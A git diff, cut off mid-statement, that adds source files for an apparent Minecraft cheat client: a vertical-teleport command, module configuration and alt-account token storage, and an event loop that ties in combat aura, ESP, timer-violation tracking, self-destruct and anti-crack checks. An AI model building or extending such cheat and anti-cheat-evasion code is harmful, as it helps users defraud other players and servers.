if(args.length != 1){ + sendUsages(); + return; + } + float h = 0; + try{ + h = Float.parseFloat(args[0]); + }catch (Exception e){ + ChatUtils.sendMessageWithPrefix("Cant VClip: " + args[0]); + } + mc.player.setPosition( + mc.player.getPosX(), mc.player.getPosY() + h, mc.player.getPosZ() + ); + ChatUtils.sendMessageWithPrefix("VClip to " + mc.player.getPosY()); + } + + @Override + public String usages() { + return "[downBlocks]"; + } + + @Override + public String describe() { + return "clip of blocks."; + } + + @Override + public String[] getName() { + return new String[]{"vclip"}; + } +} diff --git a/src/info/sigmaclient/sigma/config/ConfigManager.java b/src/info/sigmaclient/sigma/config/ConfigManager.java new file mode 100644 index 00000000..4be2ba09 --- /dev/null +++ b/src/info/sigmaclient/sigma/config/ConfigManager.java @@ -0,0 +1,290 @@ +package info.sigmaclient.sigma.config; + +import com.alibaba.fastjson.JSONObject; +import com.google.gson.Gson; +import com.google.gson.GsonBuilder; +import info.sigmaclient.sigma.SigmaNG; +import info.sigmaclient.sigma.config.alts.Alt; +import info.sigmaclient.sigma.config.alts.AltConfig; +import info.sigmaclient.sigma.config.alts.AltConfigLoader; +import info.sigmaclient.sigma.config.antisniper.AntiSniperValues; +import info.sigmaclient.sigma.config.antisniper.DropGUI_; +import info.sigmaclient.sigma.config.antisniper.LastConfigData; +import info.sigmaclient.sigma.config.values.*; +import info.sigmaclient.sigma.gui.other.clickgui.NursultanClickGui; +import info.sigmaclient.sigma.modules.Module; +import info.sigmaclient.sigma.modules.gui.hide.ClickGUI; +import info.sigmaclient.sigma.gui.clickgui.simple.JelloSubUI; + +import java.io.File; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.ArrayList; +import java.util.List; + +import static info.sigmaclient.sigma.modules.Module.mc; + +public class ConfigManager { + public static File normalDir = new File(mc.gameDir, "/sigma5ng"); + public static File configDir = new File(mc.gameDir, "/sigma5ng/profiles"); + public static File musicDir = new File(mc.gameDir, "/sigma5ng/musics"); +// public static File altDir = new File(mc.gameDir, "/sigma5ng/tokens"); + public File guiFile = new File(normalDir, "gui.json"); + public File altFile = new File(normalDir, "alts.json"); + public File friendFile = new File(normalDir, "friend.json"); + public File premiumFile = new File(normalDir, "jello.lic"); + public File lastConfigFine = new File(normalDir, "lastConfig.json"); + public static String currentProfile = "Default"; + public static String profileLast = ".profile"; + public File getConfigFile(){ + return new File(configDir, currentProfile + profileLast); + } + public File getConfigFile(String fileName){ + return new File(configDir, fileName + profileLast); + } + private final Gson gson2 = + new GsonBuilder(). + excludeFieldsWithoutExposeAnnotation() +// setPrettyPrinting() +// .serializeNulls() + .create(); + private final Gson gson = + new GsonBuilder() +// excludeFieldsWithoutExposeAnnotation(). +// setPrettyPrinting() +// .serializeNulls() + .create(); + public boolean loadGui(String data) { + GuiConfigs gui = gson.fromJson(data, GuiConfigs.class); + SigmaNG.getSigmaNG().guiBlur = gui.guiBlur; + SigmaNG.getSigmaNG().inGameGuiBlur = gui.inGameGuiBlur; + for(JelloSubUI subUI : ClickGUI.clickGui.dropGUIS){ + for(DropGUI_ subUI2 : gui.guis){ + if(subUI2.TITLE.equalsIgnoreCase(subUI.title)){ + // equal + subUI.x = subUI2.x; + subUI.y = subUI2.y; + } + } + } +// for(NursultanClickGui.SubGui subUI : ClickGUI.clickGui2.dropGUIS){ +// for(DropGUI_ subUI2 : gui.guis){ +// if(subUI2.TITLE.equalsIgnoreCase(subUI.title)){ +// // equal +// subUI.x = (float) subUI2.x; +// subUI.y = (float) subUI2.y; +// } +// } +// } + // éŸ³ä¹ + ClickGUI.clickGui.musicPlayer.x = gui.musicplayer.x; + ClickGUI.clickGui.musicPlayer.y = gui.musicplayer.y; + return true; + } + public boolean loadAlts(String data) { + AltConfigLoader[] gui = gson.fromJson(data, AltConfigLoader[].class); + AltConfig.Instance.alts.clear(); + for(AltConfigLoader alt : gui){ + Alt loader = new Alt("", ""); + loader.name = alt.name; + loader.time = alt.time; + loader.token = alt.token; + loader.offline = alt.offline; + loader.uuid = alt.uuid; + AltConfig.Instance.alts.add(loader); + } + return true; + } + public boolean loadFriends(String data) { + String[] gui = gson.fromJson(data, String[].class); + SigmaNG.getSigmaNG().friendsManager.friends.clear(); + for(String af : gui){ + SigmaNG.getSigmaNG().friendsManager.friends.add(af); + } + return true; + } + public boolean loadLastConfigs(String data) { + LastConfigData gui = gson.fromJson(data, LastConfigData.class); + if(gui.last != null) + currentProfile = gui.last; + return true; + } + public boolean loadConfig(String data) { + boolean jrMode = false; + if(JSONObject.parseArray(data).getJSONObject(0).getString("version") == null){ + jrMode = true; + } + AntiSniperValues[] modules = gson2.fromJson(data, AntiSniperValues[].class); + for (Module module : SigmaNG.getSigmaNG().moduleManager.modules) { + for (AntiSniperValues configModule : modules) { + if(jrMode) { +// configModule.key = -1; + } + if (module.name.equalsIgnoreCase(configModule.name)) { + try { + boolean last = module.enabled; + module.enabled = configModule.enable; + if(mc.player != null && mc.world != null && last != module.enabled){ + if(module.enabled){ + module.onEnable(); + }else{ + module.onDisable(); + } + } + module.key = configModule.key; + for (Value setting : module.values) { + for (Value to : configModule.values) { + if(to == null) continue; + if (setting.id.equalsIgnoreCase(to.id)) { + if (setting instanceof BooleanValue) { + ((BooleanValue) setting).setValue((Boolean) to.getValue()); + } + if (setting instanceof ColorValue) { + ((ColorValue) setting).setValue(((Number) to.getValue()).intValue()); + } + if (setting instanceof ModeValue) { + for (String str : ((ModeValue) setting).values) { + if (str.equals(to.getValue())) + ((ModeValue) setting).setValue(str); + } + } + if (setting instanceof NumberValue) { + ((NumberValue) setting).setValue((Number) to.getValue()); + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + } + } + return true; + } + public static boolean saveConfig(String content, File file) { + if(!configDir.exists()){ + configDir.mkdirs(); + } + if(!file.exists()) { + try { + file.createNewFile(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + try { + Files.write(file.toPath(), content.getBytes(StandardCharsets.UTF_8)); + return true; + } catch (IOException e) { + e.printStackTrace(); + return false; + } + } + public String serializeEmpty() { + List antiSniperValues = new ArrayList<>(); + for(Module m : SigmaNG.SigmaNG.moduleManager.modules){ + AntiSniperValues antiSniperValues1 = new AntiSniperValues(); + antiSniperValues1.enable = false; + antiSniperValues1.key = -1; + antiSniperValues1.name = m.name; + antiSniperValues1.values = m.values; + antiSniperValues.add(antiSniperValues1); + } + return gson2.toJson(antiSniperValues); + } + public String serialize() { + List antiSniperValues = new ArrayList<>(); + for(Module m : SigmaNG.SigmaNG.moduleManager.modules){ + AntiSniperValues antiSniperValues1 = new AntiSniperValues(); + antiSniperValues1.enable = m.enabled; + antiSniperValues1.key = m.key; + antiSniperValues1.name = m.name; + antiSniperValues1.values = m.values; + antiSniperValues.add(antiSniperValues1); + } + return gson2.toJson(antiSniperValues); + } + public String saveGui() { + GuiConfigs guiConfigs = new GuiConfigs(); + for (JelloSubUI jelloSubUI : ClickGUI.clickGui.dropGUIS) { + DropGUI_ gui = new DropGUI_(); + gui.x = jelloSubUI.x; + gui.y = jelloSubUI.y; + gui.TITLE = jelloSubUI.title; + guiConfigs.guis.add(gui); + } + guiConfigs.guiBlur = SigmaNG.getSigmaNG().guiBlur; + guiConfigs.inGameGuiBlur = SigmaNG.getSigmaNG().inGameGuiBlur; + + guiConfigs.musicplayer.x = ClickGUI.clickGui.musicPlayer.x; + guiConfigs.musicplayer.y = ClickGUI.clickGui.musicPlayer.y; + return gson.toJson(guiConfigs); + } + public String saveLastConfig() { + LastConfigData aa = new LastConfigData(); + aa.last = currentProfile; + return gson.toJson(aa); + } + public String saveFriends() { + List list = new ArrayList<>(SigmaNG.getSigmaNG().friendsManager.friends); + return gson.toJson(list); + } + public String saveAlts() { + List list = new ArrayList<>(); + for(Alt alt : AltConfig.Instance.alts){ + AltConfigLoader loader = new AltConfigLoader(); + loader.name = alt.name; + loader.time = alt.time; + loader.token = alt.token; + loader.offline = alt.offline; + loader.uuid = alt.uuid; + list.add(loader); + } + return gson.toJson(list); + } + public static String readConfigData(Path configPath) { + try { + return new String(Files.readAllBytes(configPath)); + } catch (IOException e) { + e.printStackTrace(); + return ""; + } + } + public void loadDefaultConfig(){ + if(lastConfigFine.exists()) + loadLastConfigs(readConfigData(lastConfigFine.toPath())); + if(getConfigFile().exists()) + loadConfig(readConfigData(getConfigFile().toPath())); + if(guiFile.exists()) + loadGui(readConfigData(guiFile.toPath())); + if(altFile.exists()) + loadAlts(readConfigData(altFile.toPath())); + if(friendFile.exists()) + loadFriends(readConfigData(friendFile.toPath())); + } + public void saveLastConfigData(){ + saveConfig(saveLastConfig(), lastConfigFine); + } + public void saveDupeConfig(String empy){ + saveConfig(serialize(), new File(configDir, empy + profileLast)); // ok + } + public void saveEmptyConfig(String empy){ + saveConfig(serializeEmpty(), new File(configDir, empy + profileLast)); // ok + } + public void saveDefaultConfig(){ + saveLastConfigData(); + saveConfig(serialize(), getConfigFile()); // ok + saveConfig(saveGui(), guiFile); // ok + saveConfig(saveAlts(), altFile); // ok + saveConfig(saveFriends(), friendFile); // ok + } + public void saveDefaultConfigWithoutAlt(){ + saveLastConfigData(); + saveConfig(serialize(), getConfigFile()); // ok + saveConfig(saveGui(), guiFile); // ok + saveConfig(saveFriends(), friendFile); // ok + } +} diff --git a/src/info/sigmaclient/sigma/config/FriendsManager.java b/src/info/sigmaclient/sigma/config/FriendsManager.java new file mode 100644 index 00000000..4856b9fa --- /dev/null +++ b/src/info/sigmaclient/sigma/config/FriendsManager.java @@ -0,0 +1,14 @@ +package info.sigmaclient.sigma.config; + +import net.minecraft.entity.Entity; +import net.minecraft.entity.player.PlayerEntity; + +import java.util.ArrayList; + +public class FriendsManager { + public ArrayList friends = new ArrayList<>(); + public boolean isFriend(Entity entity){ + if(!(entity instanceof PlayerEntity)) return false; + return friends.contains(entity.getName().getUnformattedComponentText().toLowerCase()); + } +} diff --git a/src/info/sigmaclient/sigma/config/GuiConfigs.java b/src/info/sigmaclient/sigma/config/GuiConfigs.java new file mode 100644 index 00000000..60180f04 --- /dev/null +++ b/src/info/sigmaclient/sigma/config/GuiConfigs.java @@ -0,0 +1,21 @@ +package info.sigmaclient.sigma.config; + +import com.google.gson.annotations.SerializedName; +import info.sigmaclient.sigma.config.antisniper.DropGUI_; + +import java.util.ArrayList; + +public class GuiConfigs { + @SerializedName("guis") + ArrayList guis; + @SerializedName("musicplayer") + MusicPlayer musicplayer; + @SerializedName("guiBlur") + boolean guiBlur; + @SerializedName("inGameGuiBlur") + boolean inGameGuiBlur; + public GuiConfigs(){ + guis = new ArrayList<>(); + musicplayer = new MusicPlayer(); + } +} diff --git a/src/info/sigmaclient/sigma/config/MusicPlayer.java b/src/info/sigmaclient/sigma/config/MusicPlayer.java new file mode 100644 index 00000000..32ee69de --- /dev/null +++ b/src/info/sigmaclient/sigma/config/MusicPlayer.java @@ -0,0 +1,10 @@ +package info.sigmaclient.sigma.config; + +import com.google.gson.annotations.SerializedName; + +public class MusicPlayer { + @SerializedName("x") + public int x; + @SerializedName("y") + public int y; +} diff --git a/src/info/sigmaclient/sigma/config/alts/Alt.java b/src/info/sigmaclient/sigma/config/alts/Alt.java new file mode 100644 index 00000000..4f98c0cc --- /dev/null +++ b/src/info/sigmaclient/sigma/config/alts/Alt.java @@ -0,0 +1,28 @@ +package info.sigmaclient.sigma.config.alts; + +import info.sigmaclient.sigma.sigma5.utils.Sigma5AnimationUtil; + +public class Alt { + public String token = ""; + public String name; + public String uuid; + public long time; + public boolean offline; + + public float slideTrans; + public Sigma5AnimationUtil animationUtil = new Sigma5AnimationUtil(500, 500); + public Sigma5AnimationUtil select = new Sigma5AnimationUtil(500, 500); + public Alt(String name, String uuid){ + offline = true; + this.name = name; + this.uuid = uuid; + this.time = System.currentTimeMillis(); + } + public Alt(String name, String uuid, String token){ + offline = false; + this.name = name; + this.uuid = uuid; + this.token = token; + this.time = System.currentTimeMillis(); + } +} diff --git a/src/info/sigmaclient/sigma/config/alts/AltConfig.java b/src/info/sigmaclient/sigma/config/alts/AltConfig.java new file mode 100644 index 00000000..c6425ffb --- /dev/null +++ b/src/info/sigmaclient/sigma/config/alts/AltConfig.java @@ -0,0 +1,8 @@ +package info.sigmaclient.sigma.config.alts; + +import java.util.ArrayList; + +public class AltConfig { + public static AltConfig Instance = new AltConfig(); + public ArrayList alts = new ArrayList<>(); +} diff --git a/src/info/sigmaclient/sigma/config/alts/AltConfigLoader.java b/src/info/sigmaclient/sigma/config/alts/AltConfigLoader.java new file mode 100644 index 00000000..8a0917e5 --- /dev/null +++ b/src/info/sigmaclient/sigma/config/alts/AltConfigLoader.java @@ -0,0 +1,16 @@ +package info.sigmaclient.sigma.config.alts; + +import com.google.gson.annotations.SerializedName; + +public class AltConfigLoader { + @SerializedName("token") + public String token; + @SerializedName("name") + public String name; + @SerializedName("uuid") + public String uuid; + @SerializedName("time") + public long time; + @SerializedName("offline") + public boolean offline; +} diff --git a/src/info/sigmaclient/sigma/config/antisniper/AntiSniperValues.java b/src/info/sigmaclient/sigma/config/antisniper/AntiSniperValues.java new file mode 100644 index 00000000..be67c59a --- /dev/null +++ b/src/info/sigmaclient/sigma/config/antisniper/AntiSniperValues.java @@ -0,0 +1,26 @@ +package info.sigmaclient.sigma.config.antisniper; + +import com.google.gson.annotations.Expose; +import com.google.gson.annotations.SerializedName; +import info.sigmaclient.sigma.config.values.Value; + +import java.util.ArrayList; + +public class AntiSniperValues { + @Expose + @SerializedName("id") + public String name; + @Expose + @SerializedName("key") + public int key = -1; + @Expose + @SerializedName("values") + public ArrayList> values; + @Expose + @SerializedName("enable") + public boolean enable = false; + + @Expose + @SerializedName("version") + public String version = "11J"; +} diff --git a/src/info/sigmaclient/sigma/config/antisniper/AntiSniper_MValues.java b/src/info/sigmaclient/sigma/config/antisniper/AntiSniper_MValues.java new file mode 100644 index 00000000..e3d80383 --- /dev/null +++ b/src/info/sigmaclient/sigma/config/antisniper/AntiSniper_MValues.java @@ -0,0 +1,5 @@ +package info.sigmaclient.sigma.config.antisniper; + +public class AntiSniper_MValues { + +} diff --git a/src/info/sigmaclient/sigma/config/antisniper/Config.java b/src/info/sigmaclient/sigma/config/antisniper/Config.java new file mode 100644 index 00000000..cd953c91 --- /dev/null +++ b/src/info/sigmaclient/sigma/config/antisniper/Config.java @@ -0,0 +1,8 @@ +package info.sigmaclient.sigma.config.antisniper; + +import java.io.File; + +public class Config { + public File file; + public String name; +} diff --git a/src/info/sigmaclient/sigma/config/antisniper/DropGUI_.java b/src/info/sigmaclient/sigma/config/antisniper/DropGUI_.java new file mode 100644 index 00000000..a08f6901 --- /dev/null +++ b/src/info/sigmaclient/sigma/config/antisniper/DropGUI_.java @@ -0,0 +1,12 @@ +package info.sigmaclient.sigma.config.antisniper; + +import com.google.gson.annotations.SerializedName; + +public class DropGUI_ { + @SerializedName("x") + public double x = 100; + @SerializedName("y") + public double y = 20; + @SerializedName("TITLE") + public String TITLE; +} diff --git a/src/info/sigmaclient/sigma/config/antisniper/LastConfigData.java b/src/info/sigmaclient/sigma/config/antisniper/LastConfigData.java new file mode 100644 index 00000000..32960f4f --- /dev/null +++ b/src/info/sigmaclient/sigma/config/antisniper/LastConfigData.java @@ -0,0 +1,8 @@ +package info.sigmaclient.sigma.config.antisniper; + +import com.google.gson.annotations.SerializedName; + +public class LastConfigData { + @SerializedName("last") + public String last; +} diff --git a/src/info/sigmaclient/sigma/config/values/BooleanValue.java b/src/info/sigmaclient/sigma/config/values/BooleanValue.java new file mode 100644 index 00000000..446dc55b --- /dev/null +++ b/src/info/sigmaclient/sigma/config/values/BooleanValue.java @@ -0,0 +1,15 @@ +package info.sigmaclient.sigma.config.values; + +import info.sigmaclient.sigma.sigma5.utils.Sigma5AnimationUtil; + +public class BooleanValue extends Value { + public Sigma5AnimationUtil animation = new Sigma5AnimationUtil(100, 100); + public BooleanValue(String name, Boolean value){ + super(name); + this.setValue(value); + } + + public boolean isEnable(){ + return this.getValue(); + } +} diff --git a/src/info/sigmaclient/sigma/config/values/ColorValue.java b/src/info/sigmaclient/sigma/config/values/ColorValue.java new file mode 100644 index 00000000..49ce5ab7 --- /dev/null +++ b/src/info/sigmaclient/sigma/config/values/ColorValue.java @@ -0,0 +1,16 @@ +package info.sigmaclient.sigma.config.values; + +import java.awt.*; + +public class ColorValue extends Value { + public ColorValue(String name, Integer value){ + super(name); + this.setValue(value); + } + public Color getColor(){ + return new Color(this.getValue()); + } + public int getColorInt(){ + return this.getValue(); + } +} diff --git a/src/info/sigmaclient/sigma/config/values/CustomModeValue.java b/src/info/sigmaclient/sigma/config/values/CustomModeValue.java new file mode 100644 index 00000000..eea8dfc3 --- /dev/null +++ b/src/info/sigmaclient/sigma/config/values/CustomModeValue.java @@ -0,0 +1,19 @@ +package info.sigmaclient.sigma.config.values; + +import com.google.gson.annotations.Expose; +import info.sigmaclient.sigma.modules.Module; + +public class CustomModeValue extends ModeValue { + public Module[] values2; + public Module getCurrent(){ + for(Module m : values2){ + if(m.name.equalsIgnoreCase(this.getValue())) return m; + } + return null; + } + + public CustomModeValue(String name, String mode, Module[] modes){ + super(name, mode, modes); + this.values2 = modes; + } +} diff --git a/src/info/sigmaclient/sigma/config/values/ModeValue.java b/src/info/sigmaclient/sigma/config/values/ModeValue.java new file mode 100644 index 00000000..ed7e56cb --- /dev/null +++ b/src/info/sigmaclient/sigma/config/values/ModeValue.java @@ -0,0 +1,66 @@ +package info.sigmaclient.sigma.config.values; + +import info.sigmaclient.sigma.gui.hud.notification.NotificationManager; +import info.sigmaclient.sigma.modules.Module; +import info.sigmaclient.sigma.premium.PremiumManager; +import info.sigmaclient.sigma.utils.render.anims.PartialTicksAnim; + +public class ModeValue extends Value { + public String[] values; + public String[] premiums; + public PartialTicksAnim[] hoverAnims; + public void setPremiumModes(String[] premiums) { + this.premiums = premiums; + } + + @Override + public void setValue(String value) { + boolean pre = false; + for(String str : premiums) + if (str.equals(value)) { + pre = true; + break; + } + if(pre && !PremiumManager.isPremium){ + NotificationManager.notify("Premium", "Not yet available for free version"); + return; + } + super.setValue(value); + } + + public ModeValue(String name, String mode, String[] modes){ + super(name); + this.values = modes; + this.hoverAnims = new PartialTicksAnim[this.values.length]; + premiums = new String[]{}; + for(int i = 0 ; i < this.values.length; i ++){ + this.hoverAnims[i] = new PartialTicksAnim(0); + } + this.setValue(modes[0]); + for(String string : modes){ + if(mode.equals(string)) this.setValue(mode); + } + } + public ModeValue(String name, String mode, Module[] modes){ + super(name); + String[] strs = new String[modes.length]; + int i2 = 0; + for(Module m : modes){ + strs[i2] = m.name; + i2 ++; + } + this.values = strs; + this.hoverAnims = new PartialTicksAnim[this.values.length]; + premiums = new String[]{}; + for(int i = 0 ; i < this.values.length; i ++){ + this.hoverAnims[i] = new PartialTicksAnim(0); + } + this.setValue(strs[0]); + for(String string : strs){ + if(mode.equals(string)) this.setValue(mode); + } + } + public boolean is(String mode){ + return this.getValue().equals(mode); + } +} diff --git a/src/info/sigmaclient/sigma/config/values/MultiModeValue.java b/src/info/sigmaclient/sigma/config/values/MultiModeValue.java new file mode 100644 index 00000000..c96fb5a4 --- /dev/null +++ b/src/info/sigmaclient/sigma/config/values/MultiModeValue.java @@ -0,0 +1,16 @@ +package info.sigmaclient.sigma.config.values; + +public class MultiModeValue extends Value { + public MultiModeValue(String name, BooleanValue[] modes){ + super(name); + this.setValue(modes); + } + public BooleanValue get(String mode){ + for(BooleanValue booleanValue : this.getValue()){ + if(booleanValue.name.equals(mode)){ + return booleanValue; + } + } + return new BooleanValue("", false); + } +} diff --git a/src/info/sigmaclient/sigma/config/values/NumberValue.java b/src/info/sigmaclient/sigma/config/values/NumberValue.java new file mode 100644 index 00000000..b4190543 --- /dev/null +++ b/src/info/sigmaclient/sigma/config/values/NumberValue.java @@ -0,0 +1,29 @@ +package info.sigmaclient.sigma.config.values; + +public class NumberValue extends Value { + public enum NUMBER_TYPE { + FLOAT, INT, LOW_FLOAT + } + public Number min, max; + public NUMBER_TYPE inc; + public NumberValue(String name, Number value, Number min, Number max, NUMBER_TYPE inc){ + super(name); + this.min = Math.min(min.floatValue(), max.floatValue()); + this.max = Math.max(min.floatValue(), max.floatValue()); + this.inc = inc; + this.pureSetValue(value); + } + + public void pureSetValue(Number value) { + super.setValue(value); + } + @Override + public void setValue(Number value) { + super.setValue(value); + onSetValue(); + } + + public void onSetValue(){ + + } +} diff --git a/src/info/sigmaclient/sigma/config/values/Value.java b/src/info/sigmaclient/sigma/config/values/Value.java new file mode 100644 index 00000000..9fc6c6a1 --- /dev/null +++ b/src/info/sigmaclient/sigma/config/values/Value.java @@ -0,0 +1,35 @@ +package info.sigmaclient.sigma.config.values; + +import com.google.gson.annotations.Expose; +import com.google.gson.annotations.SerializedName; +import net.minecraft.util.math.vector.Vector4f; + +public class Value { + @Expose + @SerializedName("value") + private T value; + @Expose + @SerializedName("id") + public String id; + public Vector4f box = new Vector4f(); + public String name; + { + id = ""; + } + public boolean isHidden(){ + return false; + } + public Value(String name){ + this.name = name; + } + public Value(String name, T value){ + this.name = name; + this.value = value; + } + public T getValue(){ + return value; + } + public void setValue(T value){ + this.value = value; + } +} diff --git a/src/info/sigmaclient/sigma/event/Event.java b/src/info/sigmaclient/sigma/event/Event.java new file mode 100644 index 00000000..3c2f1bcd --- /dev/null +++ b/src/info/sigmaclient/sigma/event/Event.java @@ -0,0 +1,6 @@ +package info.sigmaclient.sigma.event; + +public class Event { + public boolean cancelable = false; + public int eventID = 0; +} diff --git a/src/info/sigmaclient/sigma/event/EventManager.java b/src/info/sigmaclient/sigma/event/EventManager.java new file mode 100644 index 00000000..2fd025d1 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/EventManager.java @@ -0,0 +1,124 @@ +package info.sigmaclient.sigma.event; + +import info.sigmaclient.sigma.commands.impl.GPSCommand; +import info.sigmaclient.sigma.event.render.Render3DEvent; +import info.sigmaclient.sigma.modules.world.Timer; +import info.sigmaclient.sigma.sigma5.SelfDestructManager; +import info.sigmaclient.sigma.sigma5.utils.BlurUtils; +import info.sigmaclient.sigma.SigmaNG; +import info.sigmaclient.sigma.event.player.*; +import info.sigmaclient.sigma.event.render.RenderEvent; +import info.sigmaclient.sigma.event.render.RenderShaderEvent; +import info.sigmaclient.sigma.gui.othergui.anticrack.AntiCrack; +import info.sigmaclient.sigma.modules.Module; +import info.sigmaclient.sigma.modules.gui.hide.ClickGUI; +import info.sigmaclient.sigma.modules.movement.BlockFly; +import info.sigmaclient.sigma.modules.movement.TargetStrafe; +import info.sigmaclient.sigma.utils.ChatUtils; +import info.sigmaclient.sigma.utils.player.MovementUtils; +import info.sigmaclient.sigma.utils.player.RotationUtils; +import info.sigmaclient.sigma.gui.clickgui.JelloClickGui; +import info.sigmaclient.sigma.gui.clickgui.musicplayer.MusicWaveRender; +import info.sigmaclient.sigma.utils.render.rendermanagers.GlStateManager; +import net.minecraft.client.Minecraft; +import net.minecraft.network.play.client.CHeldItemChangePacket; +import org.lwjgl.opengl.GL11; + +import static info.sigmaclient.sigma.modules.Module.mc; +import static info.sigmaclient.sigma.modules.combat.Killaura.unBlock; +import static info.sigmaclient.sigma.modules.render.ESP.shadowESP; +import static info.sigmaclient.sigma.modules.world.Timer.violation; + +public class EventManager { + public static boolean nextLegitUnblock = false; + private static boolean init = false; + public static void init(){ + init = true; + } + public static void call(Event event) { + if(!init || SelfDestructManager.destruct) return; + if(event instanceof WindowUpdateEvent){ + SigmaNG.SigmaNG.antiAgent.doOneCheck(); + if(!SigmaNG.SigmaNG.verify.verify){ + if(!(Minecraft.getInstance().currentScreen instanceof AntiCrack)){ + Minecraft.getInstance().displayGuiScreen(new AntiCrack()); + } + } + } + if(Minecraft.getInstance().player == null || Minecraft.getInstance().world == null) return; + + if(event instanceof RenderEvent) { + } + if(event instanceof UpdateEvent){ + if(((UpdateEvent) event).isPre()){ + if(RotationUtils.NEXT_SLOT != -1){ + Minecraft.getInstance().getConnection().sendPacketNOEvent(new CHeldItemChangePacket(RotationUtils.NEXT_SLOT)); + RotationUtils.NEXT_SLOT = -1; + } + } + } + + for (Module module : SigmaNG.getSigmaNG().moduleManager.modules) { + if(event instanceof KeyEvent){ + if(module.key != -1 && ((KeyEvent) event).key == module.key) + module.toggle(); + } + if(module.enabled) { + EventRunner.doEvent(module, event); + } + } + if(event instanceof ClickEvent && nextLegitUnblock){ + unBlock(); + nextLegitUnblock = false; + } + if(event instanceof RenderEvent){ + GPSCommand.render(); + ((BlockFly)SigmaNG.SigmaNG.moduleManager.getModule(BlockFly.class)).renderBlockCounter(); + if(SigmaNG.gameMode == SigmaNG.GAME_MODE.SIGMA) { + SigmaNG.getSigmaNG().notificationManager.onRender(); + } + MusicWaveRender.SELF.drawTexture(); + GL11.glEnable(GL11.GL_TEXTURE_2D); + if(!(mc.currentScreen instanceof JelloClickGui) && mc.player != null && mc.world != null){ + if(JelloClickGui.leave.getValue() < 1.68 && ClickGUI.isEnableFirst){ + GL11.glPushMatrix(); + ClickGUI.clickGui.drawScreen(0,0, mc.timer.renderPartialTicks); + GL11.glPopMatrix(); + } + } + } + if(event instanceof RenderShaderEvent){ + MusicWaveRender.SELF.drawWave(); + GL11.glEnable(GL11.GL_TEXTURE_2D); + } + if(event instanceof Render3DEvent){ + //if(!shaders) + //shadowESP.renderEvent2(); + GlStateManager.disableLighting(); + GlStateManager.enableTexture2D(); + } + if(event instanceof WindowUpdateEvent){ + MusicWaveRender.SELF.onTick(); + if(!(mc.currentScreen instanceof JelloClickGui) && mc.player != null && mc.world != null) { + JelloClickGui.leave.interpolate(1.7f, 3); + } + } + if(event instanceof UpdateEvent){ + if(((UpdateEvent) event).isPre()) { + ((BlockFly)SigmaNG.SigmaNG.moduleManager.getModule(BlockFly.class)).tickForAnim(); + SigmaNG.getSigmaNG().notificationManager.onTick(); + }else{ + if(!((UpdateEvent) event).send){ + Timer.violation -= 1; +// ChatUtils.sendMessageWithPrefix("1 " + violation); + Timer.violation = Math.max(Timer.violation, 0); +// return; + } + } + } + if(event instanceof MoveEvent){ + MovementUtils.clacMotion((MoveEvent) event); + TargetStrafe.onMove((MoveEvent) event); + } + } +} diff --git a/src/info/sigmaclient/sigma/event/EventRunner.java b/src/info/sigmaclient/sigma/event/EventRunner.java new file mode 100644 index 00000000..14233d67 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/EventRunner.java @@ -0,0 +1,61 @@ +package info.sigmaclient.sigma.event; + +import info.sigmaclient.sigma.event.net.PacketEvent; +import info.sigmaclient.sigma.event.player.*; +import info.sigmaclient.sigma.event.render.*; +import info.sigmaclient.sigma.modules.Module; + +public class EventRunner { + public static void doEvent(Module module, Event event){ + switch (event.eventID){ + case 1: + module.onRenderEvent((RenderEvent) event); + break; + case 2: + module.onKeyEvent((KeyEvent) event); + break; + case 3: + module.onClickEvent((ClickEvent) event); + break; + case 4: + module.onRenderShaderEvent((RenderShaderEvent) event); + break; + case 5: + module.onPacketEvent((PacketEvent) event); + break; + case 6: + module.onWorldEvent((WorldEvent) event); + break; + case 7: + module.onRender3DEvent((Render3DEvent) event); + break; + case 8: + module.onMouseClickEvent((MouseClickEvent) event); + break; + case 9: + module.onStepEvent((StepEvent) event); + break; + case 10: + module.onRenderModelEvent((RenderModelEvent) event); + break; + case 11: + module.onAttackEvent((AttackEvent) event); + break; + case 12: + module.onWindowUpdateEvent((WindowUpdateEvent) event); + break; + case 13: + module.onBlockColEvent((BlockColEvent) event); + break; + case 14: + module.onRenderChestEvent((RenderChestEvent) event); + break; + case 15: + module.onMoveEvent((MoveEvent) event); + break; + case 16: + module.onUpdateEvent((UpdateEvent) event); + break; + } + } +} diff --git a/src/info/sigmaclient/sigma/event/LowCompact.java b/src/info/sigmaclient/sigma/event/LowCompact.java new file mode 100644 index 00000000..fd699880 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/LowCompact.java @@ -0,0 +1,8 @@ +package info.sigmaclient.sigma.event; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +@Retention(RetentionPolicy.RUNTIME) +public @interface LowCompact { +} diff --git a/src/info/sigmaclient/sigma/event/Temp.java b/src/info/sigmaclient/sigma/event/Temp.java new file mode 100644 index 00000000..454ef216 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/Temp.java @@ -0,0 +1,16 @@ +package info.sigmaclient.sigma.event; + +import info.sigmaclient.sigma.modules.Module; + +import java.lang.reflect.Method; + +public class Temp { + public Event event; + public Module module; + public Method method; + public Temp(Event e, Module m, Method me){ + this.event = e; + this.module = m; + this.method = me; + } +} diff --git a/src/info/sigmaclient/sigma/event/defaultevent/Render.java b/src/info/sigmaclient/sigma/event/defaultevent/Render.java new file mode 100644 index 00000000..be03d6c3 --- /dev/null +++ b/src/info/sigmaclient/sigma/event/defaultevent/Render.java @@ -0,0 +1,85 @@ +package info.sigmaclient.sigma.event.defaultevent; + +import info.sigmaclient.sigma.gui.font.JelloFontUtil; +import info.sigmaclient.sigma.SigmaNG; +import info.sigmaclient.sigma.modules.gui.*; +import net.minecraft.client.Minecraft; +import net.minecraft.util.ResourceLocation; +import org.lwjgl.opengl.GL11; + +import static net.minecraft.client.gui.AbstractGui.drawModalRectWithCustomSizedTexture; + +public class Render { + public static void render() { + if (Minecraft.getInstance().isF3Enabled()) { + return; + } + int offset = 0; + if (SigmaNG.getSigmaNG().moduleManager.getModule(TabGUI.class).enabled) { + offset += 90; + offset -= 13; + } + MiniMap.offsetY = (int) (offset * 1.6F + 100 + 8 + 5); + if (SigmaNG.getSigmaNG().moduleManager.getModule(MiniMap.class).enabled) { + offset += 68 + 8; + } + if 